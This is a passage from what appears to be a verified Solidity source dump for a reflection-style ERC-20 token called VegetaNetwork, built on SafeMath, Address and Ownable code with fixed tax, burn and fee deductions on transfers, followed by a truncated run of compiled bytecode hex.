a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract VegetaNetwork is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'Vegetanetwork'; string private _symbol = 'Vegeta'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/) = _getTValues(tAmount); _localVal[3] /**currentRate*/ = _getRate(); ( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/**tTax*/ = tAmount.div(100).mul(5); _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(3); _localVal[2]/**tFee*/ = tAmount.div(100).mul(2); _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); //uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b80632d838119116100ff5780632d838119146102f3578063313ce5671461033557806339509351146103565780633c9f861d146103ba5780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806318160ddd1461025157806323b872dd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610938565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109da565b60405180821515815260200191505060405180910390f35b6102596109f8565b6040518082815260200191505060405180910390f35b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b60405180821515815260200191505060405180910390f35b61031f6004803603602081101561030957600080fd5b8101908080359060200190929190505050610ae7565b6040518082815260200191505060405180910390f35b61033d610b6b565b604051808260ff16815260200191505060405180910390f35b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b82565b60405180821515815260200191505060405180910390f35b6103c2610c35565b6040518082815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c3f565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d06565b6040518082815260200191505060405180910390f35b610486610df1565b005b610490610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610fa0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110f565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112d565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611524565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172f565b005b60006107af611ab9565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613714602c913960400191505060405180910390fd5b600061085f83611ac1565b5050505050505090506108ba81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbf90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091281600654611cbf90919063ffffffff16565b60068190555061092d83600754611d0990919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b60006109ee6109e7611ab9565b8484611d91565b6001905092915050565b60006d314dc6448d9338c15b0a00000000905090565b6000610a1b848484611f88565b610adc84610a27611ab9565b610ad78560405180606001604052806028815260200161367a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8d611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e19092919063ffffffff16565b611d91565b600190509392505050565b6000600654821115610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806135e7602a913960400191505060405180910390fd5b6000610b4e6124a1565b9050610b6381846124cc90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2b610b8f611ab9565b84610c268560036000610ba0611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0990919063ffffffff16565b611d91565b6001905092915050565b6000600754905090565b60006d314dc6448d9338c15b0a00000000831115610cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ce7576000610cd584611ac1565b50505050505050905080915050610d00565b6000610cf284611ac1565b505050505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da157600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dec565b610de9600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b90505b919050565b610df9611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110385780601f1061100d57610100808354040283529160200191611038565b820191906000526020600020905b81548152906001019060200180831161101b57829003601f168201915b5050505050905090565b600061110561104f611ab9565b84611100856040518060600160405280602581526020016137406025913960036000611079611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e19092919063ffffffff16565b611d91565b6001905092915050565b600061112361111c611ab9565b8484611f88565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611212611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561146657611422600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61152c611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806136116026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611737611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c726561647920696e636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611ab5578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aa85760056001600580549050038154811061194657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061197e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a6e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611ab5565b80806001019150506118b9565b5050565b600033905090565b600080600080600080600080611ad561357e565b611ade8a612516565b846000600c8110611aeb57fe5b60200201856001600c8110611afc57fe5b60200201866002600c8110611b0d57fe5b60200201876008600c8110611b1e57fe5b602002018481525084815250848152508481525050505050611b3e6124a1565b816003600c8110611b4b57fe5b602002018181525050611ba58a826001600c8110611b6557fe5b6020020151836003600c8110611b7757fe5b6020020151846002600c8110611b8957fe5b6020020151856008600c8110611b9b57fe5b60200201516126b3565b856004600c8110611bb257fe5b60200201866005600c8110611bc357fe5b60200201876006600c8110611bd457fe5b60200201886007600c8110611be557fe5b60200201896009600c8110611bf657fe5b6020020185815250858152508581525085815250858152505050505050806004600c8110611c2057fe5b6020020151816005600c8110611c3257fe5b6020020151826006600c8110611c4457fe5b6020020151836000600c8110611c5657fe5b6020020151846001600c8110611c6857fe5b6020020151856002600c8110611c7a57fe5b6020020151866008600c8110611c8c57fe5b602002015187600a600c8110611c9e57fe5b60200201519850985098509850985098509850985050919395975091939597565b6000611d0183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123e1565b905092915050565b600080828401905083811015611d87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806136f06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136376022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561200e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136cb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612094576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135c46023913960400191505060405180910390fd5b600081116120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806136a26029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121905750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121a5576121a0838383612772565b6123dc565b600460008473f